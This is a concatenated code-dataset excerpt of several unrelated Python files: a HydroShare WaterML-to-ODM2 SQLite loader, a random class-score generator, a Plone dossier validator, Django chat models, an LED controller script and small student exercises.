\"{http://www.cuahsi.org/waterML/1.1/}\"\n elif return_type == \"WaterML 1.0\":\n wml_version = \"1.0\"\n ns = \"{http://www.cuahsi.org/waterML/1.0/}\"\n\n response = requests.post(\n url=url,\n headers={\n \"SOAPAction\": \"http://www.cuahsi.org/his/\" + wml_version + \"/ws/GetValuesObject\",\n \"Content-Type\": \"text/xml; charset=utf-8\"\n },\n data = '' + \\\n '' + \\\n '' + \\\n '' + site_code + '' + \\\n '' + variable_code + '' + \\\n '' + start_date + '' + \\\n '' + end_date + '' + \\\n '' + autho_token + '' + \\\n '' + \\\n '' + \\\n ''\n )\n\n values_result = response.content\n\n except:\n print(\"FAILED TO DOWNLOAD WML\")\n sql_connect.rollback()\n continue\n \n \n # --------------------------- #\n # Validates WaterML files #\n # --------------------------- #\n \n try:\n wml_tree = etree.fromstring(values_result)\n if not list(wml_tree.iter(ns + \"values\")):\n print(\"No timeseries data found\")\n continue\n if len(list(list(wml_tree.iter(ns + \"values\"))[0].iter(ns + \"value\"))) == 0:\n print(\"No timeseries data found\")\n continue\n except:\n print(\"Unable to validate WML\")\n continue\n \n # ------------------------------------ #\n # Extracts Data for Datasets Table #\n # ------------------------------------ #\n\n dataset_code = 1\n curs.execute(\"SELECT * FROM Datasets WHERE DataSetCode = ?\", (dataset_code,))\n row = curs.fetchone()\n if not row:\n dataset = (\n str(uuid.uuid4()),\n (\"singleTimeSeries\" if len(ts_list) == 1 else \"multiTimeSeries\"),\n 1,\n res_title,\n res_abstract,\n )\n\n curs.execute(\"\"\"INSERT INTO Datasets (\n DataSetID, \n DataSetUUID, \n DataSetTypeCV, \n DataSetCode,\n DataSetTitle, \n DataSetAbstract\n ) VALUES (NULL, ?, ?, ?, ?, ?)\"\"\", dataset)\n dataset_id = curs.lastrowid\n else:\n dataset_id = row[0]\n\n # -------------------------------------------- #\n # Extracts Data for SamplingFeatures Table #\n # -------------------------------------------- #\n\n sf_tree = search_wml(wml_tree, ns, [\"sourceInfo\"], get_tree=True)\n sampling_feature_code = search_wml(sf_tree, ns, [\"siteCode\"], default_value=None)\n if sampling_feature_code:\n curs.execute(\"SELECT * FROM SamplingFeatures WHERE SamplingFeatureCode = ?\", (sampling_feature_code,))\n row = curs.fetchone()\n if not row:\n sampling_feature = (\n str(uuid.uuid4()),\n \"site\",\n sampling_feature_code,\n search_wml(sf_tree, ns, [\"siteName\"], default_value=None),\n None,\n \"point\",\n None,\n 'POINT (\"' + search_wml(sf_tree, ns, [\"latitude\"], default_value=None) + '\" \"' + search_wml(sf_tree, ns, [\"longitude\"], default_value=None) + '\")',\n search_wml(sf_tree, ns, [\"elevation_m\"], default_value=None),\n search_wml(sf_tree, ns, [\"verticalDatum\"], default_value=None),\n )\n curs.execute(\"\"\"INSERT INTO SamplingFeatures (\n SamplingFeatureID, \n SamplingFeatureUUID,\n SamplingFeatureTypeCV, \n SamplingFeatureCode, \n SamplingFeatureName,\n SamplingFeatureDescription, \n SamplingFeatureGeotypeCV, \n FeatureGeometry,\n FeatureGeometryWKT, \n Elevation_m, \n ElevationDatumCV\n ) VALUES (NULL, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\", sampling_feature)\n sampling_feature_id = curs.lastrowid\n else:\n sampling_feature_id = row[0]\n else:\n print(\"SF Failed\")\n sql_connect.rollback()\n continue\n\n # --------------------------------------------- #\n # Extracts Data for SpatialReferences Table #\n # --------------------------------------------- #\n\n srs_code = search_wml(sf_tree, ns, [\"geogLocation\"], default_value=\"EPSG:4269\", attr=\"srs\")\n curs.execute(\"SELECT * FROM SpatialReferences WHERE SRSCode = ?\", (srs_code,))\n row = curs.fetchone()\n if not row:\n spatial_reference = (\n srs_code, \n srs_code, \n None,\n None,\n )\n curs.execute(\"\"\"INSERT INTO SpatialReferences(\n SpatialReferenceID, \n SRSCode, \n SRSName,\n SRSDescription, \n SRSLink\n ) VALUES (NULL, ?, ?, ?, ?)\"\"\", spatial_reference)\n spatial_reference_id = curs.lastrowid\n else:\n spatial_reference_id = row[0]\n\n # --------------------------------- #\n # Extracts Data for Sites Table #\n # --------------------------------- #\n\n curs.execute(\"SELECT * FROM Sites WHERE SamplingFeatureID = ?\", (sampling_feature_id,))\n row = curs.fetchone()\n if not row:\n site = (\n sampling_feature_id,\n \"unknown\",\n search_wml(sf_tree, ns, [\"latitude\"], default_value=None),\n search_wml(sf_tree, ns, [\"longitude\"], default_value=None),\n spatial_reference_id,\n )\n curs.execute(\"\"\"INSERT INTO Sites(\n SamplingFeatureID, \n SiteTypeCV, \n Latitude, \n Longitude,\n SpatialReferenceID\n ) VALUES (?, ?, ?, ?, ?)\"\"\", site)\n site_id = curs.lastrowid\n else:\n site_id = row[0]\n\n # ------------------------------------- #\n # Extracts Data for Variables Table #\n # ------------------------------------- #\n\n vr_tree = search_wml(wml_tree, ns, [\"variable\"], get_tree=True)\n variable_code = search_wml(vr_tree, ns, [\"variableCode\", \"VariableCode\"], default_value=None)\n if variable_code:\n curs.execute(\"SELECT * FROM Variables WHERE VariableCode = ?\", (variable_code,))\n row = curs.fetchone()\n if not row:\n variable = (\n \"Unknown\", \n variable_code, \n search_wml(vr_tree, ns, [\"variableName\", \"VariableName\"], default_value=\"Unknown\"),\n search_wml(vr_tree, ns, [\"variableDescription\", \"VariableDescription\"], default_value=None),\n search_wml(vr_tree, ns, [\"speciation\", \"Speciation\"], default_value=None),\n search_wml(vr_tree, ns, [\"noDataValue\", \"NoDataValue\"], default_value=-9999),\n )\n curs.execute(\"\"\"INSERT INTO Variables (\n VariableID, \n VariableTypeCV, \n VariableCode, \n VariableNameCV, \n VariableDefinition, \n SpeciationCV, \n NoDataValue \n ) VALUES (NULL, ?, ?, ?, ?, ?, ?)\"\"\", variable)\n variable_id = curs.lastrowid\n else:\n variable_id = row[0]\n else:\n print(\"VR Failed\")\n sql_connect.rollback()\n continue\n\n # --------------------------------- #\n # Extracts Data for Units Table #\n # --------------------------------- #\n\n ut_tree = search_wml(vr_tree, ns, [\"unit\"], get_tree=True)\n unit_code = search_wml(ut_tree, ns, [\"unitCode\", \"UnitCode\", \"unitsCode\", \"UnitsCode\"], default_value=9999)\n curs.execute(\"SELECT * FROM Units WHERE UnitsID = ?\", (unit_code,))\n row = curs.fetchone()\n if not row:\n unit = (\n unit_code,\n search_wml(ut_tree, ns, [\"unitType\", \"unitsType\", \"UnitType\", \"UnitsType\"], default_value=\"other\") if unit_code != 9999 else \"other\",\n search_wml(ut_tree, ns, [\"unitAbbreviation\", \"unitsAbbreviation\", \"UnitAbbreviation\", \"UnitsAbbreviation\"], default_value=\"unknown\") if unit_code != 9999 else \"unknown\",\n search_wml(ut_tree, ns, [\"unitName\", \"unitsName\", \"UnitName\", \"UnitsName\"], default_value=\"unknown\") if unit_code != 9999 else \"unknown\",\n search_wml(ut_tree, ns, [\"unitLink\", \"unitsLink\", \"UnitLink\", \"UnitsLink\"], default_value=None) if unit_code != 9999 else None,\n )\n curs.execute(\"\"\"INSERT INTO Units (\n UnitsID, \n UnitsTypeCV, \n UnitsAbbreviation, \n UnitsName,\n UnitsLink\n ) VALUES (?, ?, ?, ?, ?)\"\"\", unit)\n unit_id = curs.lastrowid\n else:\n unit_id = row[0]\n\n # ------------------------------------------ #\n # Extracts Data for Time Spacing Units #\n # ------------------------------------------ #\n\n tu_tree = search_wml(vr_tree, ns, [\"timeScale\"], get_tree=True)\n time_unit_code = search_wml(tu_tree, ns, [\"unitCode\", \"UnitCode\", \"unitsCode\", \"UnitsCode\"], default_value=9999)\n curs.execute(\"SELECT * FROM Units WHERE UnitsID = ?\", (time_unit_code,))\n row = curs.fetchone()\n if not row:\n time_unit = (\n time_unit_code,\n search_wml(tu_tree, ns, [\"unitType\", \"unitsType\", \"UnitType\", \"UnitsType\"], default_value=\"other\") if time_unit_code != 9999 else \"other\",\n search_wml(tu_tree, ns, [\"unitAbbreviation\", \"unitsAbbreviation\", \"UnitAbbreviation\", \"UnitsAbbreviation\"], default_value=\"unknown\") if time_unit_code != 9999 else \"unknown\",\n search_wml(tu_tree, ns, [\"unitName\", \"unitsName\", \"UnitName\", \"UnitsName\"], default_value=\"unknown\") if time_unit_code != 9999 else \"unknown\",\n search_wml(tu_tree, ns, [\"unitLink\", \"unitsLink\", \"UnitLink\", \"UnitsLink\"], default_value=None) if time_unit_code != 9999 else None,\n )\n curs.execute(\"\"\"INSERT INTO Units (\n UnitsID, \n UnitsTypeCV, \n UnitsAbbreviation, \n UnitsName,\n UnitsLink\n ) VALUES (?, ?, ?, ?, ?)\"\"\", time_unit)\n time_unit_id = curs.lastrowid\n else:\n time_unit_id = row[0]\n\n # ------------------------------------------------------------------- #\n # Extracts Data for People, Organizations, and Affiliations Table #\n # ------------------------------------------------------------------- #\n\n sr_tree = search_wml(wml_tree, ns, [\"source\"], get_tree=True)\n person_name = search_wml(sr_tree, ns, [\"contactName\"], default_value=\"unknown\")\n curs.execute(\"SELECT * FROM People WHERE PersonFirstName = ?\", (person_name,))\n row = curs.fetchone()\n if not row:\n person = (\n person_name,\n \" \",\n )\n curs.execute(\"\"\"INSERT INTO People (\n PersonID, \n PersonFirstName, \n PersonLastName\n ) VALUES (NULL, ?, ?)\"\"\", person)\n person_id = curs.lastrowid\n else:\n person_id = row[0]\n organization_code = search_wml(sr_tree, ns, [\"sourceCode\"], default_value=\"unknown\")\n curs.execute(\"SELECT * FROM Organizations WHERE OrganizationCode = ?\", (organization_code,))\n row = curs.fetchone()\n if not row:\n organization = (\n \"unknown\",\n organization_code,\n search_wml(sr_tree, ns, [\"organization\"], default_value=\"unknown\") if organization_code != \"unknown\" else \"unknown\",\n search_wml(sr_tree, ns, [\"sourceDescription\"], default_value=None) if organization_code != \"unknown\" else None,\n search_wml(sr_tree, ns, [\"sourceLink\"], default_value=None) if organization_code != \"unknown\" else None,\n )\n curs.execute(\"\"\"INSERT INTO Organizations (\n OrganizationID, \n OrganizationTypeCV,\n OrganizationCode, \n OrganizationName, \n OrganizationDescription, \n OrganizationLink\n ) VALUES (NULL, ?, ?, ?, ?, ?)\"\"\", organization)\n organization_id = curs.lastrowid\n else:\n organization_id = row[0]\n curs.execute(\"SELECT * FROM Affiliations WHERE PersonID = ? AND OrganizationID = ?\", (person_id, organization_id,))\n row = curs.fetchone()\n if not row:\n affiliation = (\n person_id,\n organization_id,\n \"unknown\",\n search_wml(sr_tree, ns, [\"phone\"], default_value=None),\n search_wml(sr_tree, ns, [\"email\"], default_value=\"unknown\"),\n search_wml(sr_tree, ns, [\"address\"], default_value=None),\n )\n curs.execute(\"\"\"INSERT INTO Affiliations (\n AffiliationID, \n PersonID, \n OrganizationID,\n AffiliationStartDate, \n PrimaryPhone, \n PrimaryEmail,\n PrimaryAddress\n ) VALUES (NULL, ?, ?, ?, ?, ?, ?)\"\"\", affiliation)\n affiliation_id = curs.lastrowid\n else:\n affiliation_id = row[0]\n\n # -------------------------------------------- #\n # Extracts Data for ProcessingLevels Table #\n # -------------------------------------------- #\n\n pl_trees = search_wml(wml_tree, ns, [\"qualityControlLevel\"], get_tree=True, mult=True)\n processing_level_data_list = [{\"processing_level_code\": search_wml(pl_tree, ns, [\"qualityControlLevelCode\"], default_value=9999), \"processing_level_tree\": pl_tree, \"processing_level_id\": None} for pl_tree in pl_trees] if pl_trees else [{\"processing_level_code\": 9999, \"processing_level_tree\": None, \"processing_level_id\": None}]\n for processing_level_data in processing_level_data_list:\n curs.execute(\"SELECT * FROM ProcessingLevels WHERE ProcessingLevelCode = ?\", (processing_level_data[\"processing_level_code\"],))\n row = curs.fetchone()\n if not row:\n processing_level = (\n processing_level_data[\"processing_level_code\"],\n search_wml(processing_level_data[\"processing_level_tree\"], ns, [\"definition\"], None) if processing_level_data[\"processing_level_code\"] != 9999 else None,\n search_wml(processing_level_data[\"processing_level_tree\"], ns, [\"explanation\"], None) if processing_level_data[\"processing_level_code\"] != 9999 else None,\n )\n curs.execute(\"\"\"INSERT INTO ProcessingLevels (\n ProcessingLevelID, \n ProcessingLevelCode,\n Definition, \n Explanation\n ) VALUES (NULL, ?, ?, ?)\"\"\", processing_level)\n processing_level_data[\"processing_level_id\"] = curs.lastrowid\n else:\n processing_level_data[\"processing_level_id\"] = row[0]\n\n # -------------------------------------------------------------------------- #\n # Extracts Data for Methods, Actions, ActionBy, and FeatureActions Table #\n # -------------------------------------------------------------------------- #\n\n md_trees = search_wml(wml_tree, ns, [\"method\"], get_tree=True, mult=True)\n method_data_list = [{\"method_code\": search_wml(md_tree, ns, [\"methodCode\", \"MethodCode\"], default_value=9999), \"method_tree\": md_tree, \"method_id\": None, \"feature_action_id\": None, \"start_date\": None, \"start_date_offset\": None, \"value_count\": None} for md_tree in md_trees] if md_trees else [{\"method_code\": 9999, \"method_tree\": None, \"method_id\": None}]\n for method_data in method_data_list:\n curs.execute(\"SELECT * FROM Methods WHERE MethodCode = ?\", (method_data[\"method_code\"],))\n row = curs.fetchone()\n if not row:\n method = (\n \"observation\" if method_data[\"method_code\"] != 9999 else \"unknown\",\n method_data[\"method_code\"],\n method_data[\"method_code\"] if method_data[\"method_code\"] != 9999 else \"unknown\",\n search_wml(method_data[\"method_tree\"], ns, [\"methodDescription\", \"MethodDescription\"], None) if method_data[\"method_code\"] != 9999 else None,\n search_wml(method_data[\"method_tree\"], ns, [\"methodLink\", \"MethodLink\"], None) if method_data[\"method_code\"] != 9999 else None,\n )\n curs.execute(\"\"\"INSERT INTO Methods (\n MethodID, \n MethodTypeCV, \n MethodCode, \n MethodName,\n MethodDescription, \n MethodLink\n ) VALUES (NULL, ?, ?, ?, ?, ?)\"\"\", method)\n method_data[\"method_id\"] = curs.lastrowid\n else:\n method_data[\"method_id\"] = row[0]\n method_code_list = search_wml(wml_tree, ns, [\"value\"], attr=\"methodCode\", mult=True)\n datetime_list = [i for j, i in enumerate(search_wml(wml_tree, ns, [\"value\"], attr=\"dateTime\", mult=True)) if method_code_list[j] == method_data[\"method_code\"] or not method_code_list[j]]\n time_offset_list = search_wml(wml_tree, ns, [\"value\"], attr=\"timeOffset\", mult=True)\n start_date = datetime_list[0]\n value_count = len(datetime_list)\n end_date = datetime_list[-1]\n method_data[\"start_date\"] = start_date[0]\n method_data[\"start_date_offset\"] = time_offset_list[0] if time_offset_list[0] else \"+00:00\"\n method_data[\"value_count\"] = value_count\n action = (\n \"observation\",\n method_data[\"method_id\"],\n start_date,\n time_offset_list[0] if time_offset_list[0] else \"+00:00\",\n end_date,\n time_offset_list[-1] if time_offset_list[-1] else \"+00:00\",\n \"An observation action that generated a time series result.\",\n )\n curs.execute(\"\"\"INSERT INTO Actions (\n ActionID, \n ActionTypeCV, \n MethodID, \n BeginDateTime,\n BeginDateTimeUTCOffset, \n EndDateTime, \n EndDateTimeUTCOffset, \n ActionDescription\n ) VALUES (NULL, ?, ?, ?, ?, ?, ?, ?)\"\"\", action)\n action_id = curs.lastrowid\n action_by = (\n action_id,\n affiliation_id,\n 1,\n )\n curs.execute(\"\"\"INSERT INTO ActionBy (\n BridgeID, \n ActionID, \n AffiliationID, \n IsActionLead\n ) VALUES (NULL, ?, ?, ?)\"\"\", action_by)\n action_by_id = curs.lastrowid\n feature_action = (\n sampling_feature_id,\n action_id,\n )\n curs.execute(\"\"\"INSERT INTO FeatureActions (\n FeatureActionID, \n SamplingFeatureID, \n ActionID\n ) VALUES (NULL, ?, ?)\"\"\", feature_action)\n method_data[\"feature_action_id\"] = curs.lastrowid\n\n # ----------------------------------------------------------------------------------------------------- #\n # Extracts Data for Results, TimeSeriesResults, TimeSeriesResultValues, and DataSetResults Tables #\n # ----------------------------------------------------------------------------------------------------- #\n\n result_data_list = list(itertools.product(method_data_list, processing_level_data_list))\n for result_data in result_data_list:\n result = (\n str(uuid.uuid4()),\n result_data[0][\"feature_action_id\"],\n \"timeSeriesCoverage\",\n variable_id,\n unit_id,\n result_data[1][\"processing_level_id\"],\n result_data[0][\"start_date\"],\n result_data[0][\"start_date_offset\"],\n None,\n search_wml(vr_tree, ns, [\"sampleMedium\"], default_value=\"unknown\"),\n result_data[0][\"value_count\"],\n )\n curs.execute(\"\"\"INSERT INTO Results (\n ResultID, \n ResultUUID, \n FeatureActionID, \n ResultTypeCV,\n VariableID, \n UnitsID, \n ProcessingLevelID, \n ResultDateTime, \n ResultDateTimeUTCOffset, \n StatusCV, \n SampledMediumCV, \n ValueCount\n ) VALUES (NULL, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\", result)\n result_id = curs.lastrowid\n timeseries_result = (\n result_id,\n \"Unknown\",\n )\n curs.execute(\"\"\"INSERT INTO TimeSeriesResults (\n ResultID, \n AggregationStatisticCV\n ) VALUES (?, ?)\"\"\", timeseries_result)\n timeseries_result_values = tuple([(\n result_id,\n i[0],\n i[1],\n i[2] if i[2] else \"+00:00\",\n i[3] if i[3] else \"nc\",\n \"unknown\",\n \"unknown\",\n \"unknown\",\n ) for i in list(map(list, zip(*[\n search_wml(wml_tree, ns, [\"value\"], mult=True),\n search_wml(wml_tree, ns, [\"value\"], attr=\"dateTime\", mult=True),\n search_wml(wml_tree, ns, [\"value\"], default_value=\"+00:00\", attr=\"timeOffset\", mult=True),\n search_wml(wml_tree, ns, [\"value\"], default_value=\"nc\", attr=\"censorCode\", mult=True)\n ])))])\n curs.execute(\"BEGIN TRANSACTION;\")\n curs.executemany(\"\"\"INSERT INTO TimeSeriesResultValues ( \n ValueID, \n ResultID, \n DataValue, \n ValueDateTime,\n ValueDateTimeUTCOffset, \n CensorCodeCV, \n QualityCodeCV, \n TimeAggregationInterval,\n TimeAggregationIntervalUnitsID\n ) VALUES (NULL, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\", timeseries_result_values)\n dataset_result = (\n 1,\n result_id,\n )\n curs.execute(\"\"\"INSERT INTO DataSetsResults ( \n BridgeID, \n DataSetID, \n ResultID\n ) Values (NULL, ?, ?)\"\"\", dataset_result)\n\n # -------------------- #\n # Commits Changes #\n # -------------------- #\n\n try:\n sql_connect.commit()\n except:\n sql_connect.rollback()\n continue\n series_count += 1\n\n print(\"Database Created Successfully\")\n print(series_count)\n\n return_obj = {\n \"res_type\": \"CompositeResource\",\n \"res_filepath\": res_filepath,\n \"file_extension\": \".odm2.sqlite\",\n \"series_count\": series_count,\n \"parse_status\": parse_status\n }\n\n return return_obj\n\n\ndef create_refts_resource(res_data):\n\n user_workspace = get_user_workspace(res_data[\"request\"])\n json_data = json.loads(res_data['form_body'])[\"timeSeriesReferenceFile\"]\n series_count = 0\n layer = []\n parse_status = []\n res_filepath = user_workspace + '/' + res_data['res_filename'] + '.refts.json'\n\n try:\n for selected_id in res_data[\"selected_resources\"]:\n layer.append(json_data['referencedTimeSeries'][selected_id])\n except:\n json_data = json.loads(json_data)\n for selected_id in res_data[\"selected_resources\"]:\n layer.append(json_data['referencedTimeSeries'][selected_id])\n\n\n json_dict = {\n \"timeSeriesReferenceFile\": {\n \"fileVersion\": json_data[\"fileVersion\"],\n \"title\": res_data[\"res_title\"],\n \"symbol\": json_data[\"symbol\"],\n \"abstract\": res_data[\"res_abstract\"],\n \"keyWords\": res_data[\"res_keywords\"],\n \"referencedTimeSeries\" : []\n }\n }\n\n for refts in layer:\n series_count += 1\n sub = {\n \"requestInfo\": {\n \"serviceType\": refts[\"requestInfo\"][\"serviceType\"],\n \"refType\": refts[\"requestInfo\"][\"refType\"],\n \"returnType\": refts[\"requestInfo\"][\"returnType\"],\n \"networkName\": refts[\"requestInfo\"][\"networkName\"],\n \"url\": refts[\"requestInfo\"][\"url\"]\n },\n \"sampleMedium\": refts[\"sampleMedium\"],\n \"valueCount\": refts[\"valueCount\"],\n \"beginDate\": refts[\"beginDate\"],\n \"endDate\": refts[\"endDate\"],\n \"site\": {\n \"siteCode\": refts[\"site\"][\"siteCode\"],\n \"siteName\": refts[\"site\"][\"siteName\"],\n \"latitude\": refts[\"site\"][\"latitude\"],\n \"longitude\": refts[\"site\"][\"longitude\"]\n },\n \"variable\": {\n \"variableCode\": refts[\"variable\"][\"variableCode\"],\n \"variableName\": refts[\"variable\"][\"variableName\"]\n },\n \"method\": {\n \"methodDescription\": refts[\"method\"][\"methodDescription\"],\n \"methodLink\": refts[\"method\"][\"methodLink\"]\n }\n }\n json_dict[\"timeSeriesReferenceFile\"][\"referencedTimeSeries\"].append(sub)\n parse_status.append(\"SUCCESS\")\n\n with open(res_filepath, 'w') as res_file:\n json.dump(json_dict, res_file, sort_keys=True, indent=4, separators=(',', ': '))\n\n return_obj = {\"res_type\": \"CompositeResource\",\n \"res_filepath\": res_filepath,\n \"file_extension\": \".refts.json\",\n \"series_count\": series_count,\n \"parse_status\": parse_status\n }\n\n return return_obj\n","sub_path":"tethysapp/hydroshare_resource_creator/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":42715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"203788902","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport random\nimport string\n\ndef get_name(min_chars=3, max_chars=8):\n VALID_CHARS = string.ascii_lowercase\n names = [random.choice(VALID_CHARS) for i in range(random.randint(min_chars,max_chars))]\n names[0] = names[0].upper()\n return ''.join(names)\n\ndef get_score():\n return random.randint(50,100) \nids_in_use = []\n\ndef get_id():\n while True:\n s_id = random.randint(1, 999)\n if s_id not in ids_in_use:\n ids_in_use.append(s_id)\n return s_id\n \ndef get_class_sheet(total=25):\n class_sheet = dict() \n for item in range(total):\n ID = get_id()\n class_sheet[ID] = [get_name(),get_score()]\n return class_sheet\n\ndef print_class_sheet(class_sheet):\n \n print ('%6s %-14s%-5s' % ('ID','Name','Score'))\n\n d2 = list(class_sheet.items())\n d2 = sorted(d2,key=lambda x:(x[0]))\n \n for i in d2:\n print ('%6d %-14s%-5d' % (i[0],i[1][0],i[1][1])) \n \n\n\ndef print_class_sheet_sorted(class_sheet):\n print ('%6s %-14s%-5s' % ('ID','Name','Score')) \n d3 = list(class_sheet.items())\n d3 = sorted(d3,key=lambda x:(x[1][1]))\n for i in d3:\n print ('%6d %-14s%-5d' % (i[0],i[1][0],i[1][1])) \n\n \n\ndef main():\n class_sheet = get_class_sheet(25)\n\n print()\n print('成绩单如下,按照ID排序\\n') \n print_class_sheet(class_sheet)\n\n print() \n print('-'*50)\n print()\n print('成绩单如下,按照成绩排序\\n') \n \n print_class_sheet_sorted(class_sheet)\n\nif __name__ == '__main__':\n main()\n \n\n","sub_path":"project7/project/17300110024.py","file_name":"17300110024.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"343321541","text":"from opengever.disposition import _\nfrom opengever.disposition.disposition import IDispositionSchema\nfrom opengever.disposition.interfaces import IDisposition\nfrom opengever.disposition.interfaces import IDispositionSettings\nfrom plone import api\nfrom plone.memoize.instance import memoize\nfrom z3c.form import validator\nfrom zope.interface import Invalid\n\n\nclass OfferedDossiersValidator(validator.SimpleFieldValidator):\n\n _current_dossiers = None\n\n @property\n @memoize\n def disregard_retention_period(self):\n return api.portal.get_registry_record(\n name='disregard_retention_period', interface=IDispositionSettings)\n\n def validate(self, value):\n \"\"\"Validate if the retention period of all selected dossiers is\n expired and the dossiers are not part of another disposition.\n \"\"\"\n for dossier in value:\n if dossier.is_open():\n raise Invalid(\n _(u'error_dossier_is_active',\n default=u'The dossier ${title} is still active.',\n mapping={'title': dossier.title}))\n\n if not self.is_retention_period_expired(dossier):\n raise Invalid(\n _(u'error_retention_period_not_expired',\n default=u'The retention period of the selected '\n 'dossiers is not expired.'))\n\n if self.is_offered_in_a_different_disposition(dossier):\n raise Invalid(\n _(u'error_offered_in_a_different_disposition',\n default=u'The dossier ${title} is already offered in a '\n 'different disposition.',\n mapping={'title': dossier.title}))\n\n return super(OfferedDossiersValidator, self).validate(value)\n\n def is_retention_period_expired(self, dossier):\n if self.disregard_retention_period:\n return True\n\n return dossier.is_retention_period_expired()\n\n def is_offered_in_a_different_disposition(self, dossier):\n if api.content.get_state(dossier) == 'dossier-state-offered':\n return dossier not in self.get_current_dossiers()\n\n return False\n\n def get_current_dossiers(self):\n if not self._current_dossiers:\n if IDisposition.providedBy(self.context):\n self._current_dossiers = [\n relation.to_object for relation in self.context.dossiers]\n else:\n # disposition AddForm\n self._current_dossiers = []\n\n return self._current_dossiers\n\n\nvalidator.WidgetValidatorDiscriminators(\n OfferedDossiersValidator,\n field=IDispositionSchema['dossiers'],\n)\n","sub_path":"opengever/disposition/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"296296145","text":"from django.db import models\nfrom django.conf import settings\n\n\nclass Chat(models.Model):\n title = models.CharField(\n 'Название',\n max_length=1000,\n blank=True,\n null=True,\n )\n is_group = models.BooleanField('Групповой чат', default=False)\n participants = models.ManyToManyField(\n settings.AUTH_USER_MODEL,\n through='chat.ParticipantChat',\n verbose_name='Участники',\n )\n created_at = models.DateTimeField('Дата создания', auto_now_add=True)\n\n class Meta:\n verbose_name = 'Чат'\n verbose_name_plural = 'Чаты'\n\n def __str__(self):\n return f'Чат №{self.id}-{self.title}'\n\n def is_exist_unread_messages(self, user):\n return Chat.objects.filter(\n id=self.id,\n messages__messagestatus__user=user,\n messages__messagestatus__is_read=False,\n ).exists()\n\n def last_message_date(self):\n last_message = self.messages.first()\n if last_message:\n return last_message.created_at\n last_message_date.short_description = 'Дата последнего сообщения'\n\n def last_message_text(self):\n last_message = self.messages.first()\n if last_message:\n return last_message.text\n last_message_text.short_description = 'Последнее сообщение'\n\n def get_recipient_for_dialog(self, request_user):\n if not self.is_group:\n user1, user2 = self.participants.all()\n return user2 if request_user == user1 else user1\n\n def count_participants(self):\n return self.participants.count()\n count_participants.short_description = 'Количество участников'\n\n\nclass ParticipantChat(models.Model):\n chat = models.ForeignKey(\n 'chat.Chat',\n on_delete=models.CASCADE,\n verbose_name='Чат',\n )\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name='Пользователь',\n )\n created_at = models.DateTimeField('Дата создания', auto_now_add=True)\n\n class Meta:\n verbose_name = 'Участник чата'\n verbose_name_plural = 'Участники чатов'\n unique_together = ('chat', 'user')\n\n def __str__(self):\n return f'Чат №{self.chat}-{self.user}'\n\n\nclass Message(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name='Автор',\n )\n chat = models.ForeignKey(\n Chat,\n on_delete=models.CASCADE,\n related_name='messages',\n verbose_name='Чат',\n )\n text = models.TextField('Текст сообщения')\n created_at = models.DateTimeField('Дата создания', auto_now_add=True)\n\n class Meta:\n verbose_name = 'Сообщения'\n verbose_name_plural = 'Сообщения'\n ordering = ('-created_at', )\n\n def __str__(self):\n return f'{self.user} - {self.text[:20]}...'\n\n def type_chat(self):\n return 'Группа' if self.chat.is_group else 'Диалог'\n type_chat.short_description = 'Тип чата'\n\n\nclass MessageStatus(models.Model):\n message = models.ForeignKey(\n 'chat.Message',\n on_delete=models.CASCADE,\n verbose_name='Сообщение',\n )\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name='Пользователь',\n )\n is_read = models.BooleanField('Прочитано', default=False)\n created_at = models.DateTimeField('Дата создания', auto_now_add=True)\n\n class Meta:\n verbose_name = 'Статус сообщений'\n verbose_name_plural = 'Статус сообщений'\n ordering = ('-id', )\n\n def __str__(self):\n return f'Сообщение №{self.message_id} прочитал {self.user}'\n","sub_path":"chat/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"244377569","text":"import mPCIeLightController as mpelc\nimport colorsys as cs\nimport time\n\nlight = mpelc.light(0x17c0,0x5dc,20)\nlight.turnOff()\n\nx = r1 = r2 = b1 = b2 = 0\ndir = 1\nwhile True:\n\tx += dir\n\tif(x >= 9 or x <= 0):\n\t\tdir *= -1\n\t\tif(dir == 1):\n\t\t\tr1 = 255\n\t\t\tb1 = 0\n\t\t\tr2 = 0\n\t\t\tb2 = 255\n\t\telif(dir == -1):\n\t\t\tr1 = 0\n\t\t\tb1 = 255\n\t\t\tr2 = 255\n\t\t\tb2 = 0\n\tlight.turnOff()\n\tlight.setLed(19-x,r1,0,b1)\n\tlight.setLed(x,r2,0,b2)\n\tlight.flush()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"303029877","text":"import math\n\nvel = int(input('vel?:'))\na = int(input('a?:'))\nd=(vel*math.sin(2*a))/9.8\nif 98=102:\n print('Muito longe!')\n\n","sub_path":"backup/user_079/ch25_2020_03_02_14_12_04_112967.py","file_name":"ch25_2020_03_02_14_12_04_112967.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"88379432","text":"\"\"\"\nFileName : excel_read.py\n\"\"\"\n# 모듈 로딩 ---------------------------------------------\nimport openpyxl\n\n# 데이터 변수 선언 ----------------------------------------\nfilename = \"../DATA/stats_100701.xlsx\"\n\n# 엑셀 파이 읽기 ----------------------------------------\nbook = openpyxl.load_workbook(filename)\nsheet = book.worksheets[0]\n\n# 엑셀에서 원하는 데이터만 추출\ndata = []\nskip = 1\n# sheet는 0부터, 행열은 1부터\nfor row in sheet.rows: \n if skip > 4:\n data.append([\n row[0].value,\n row[sheet.max_column-2].value\n 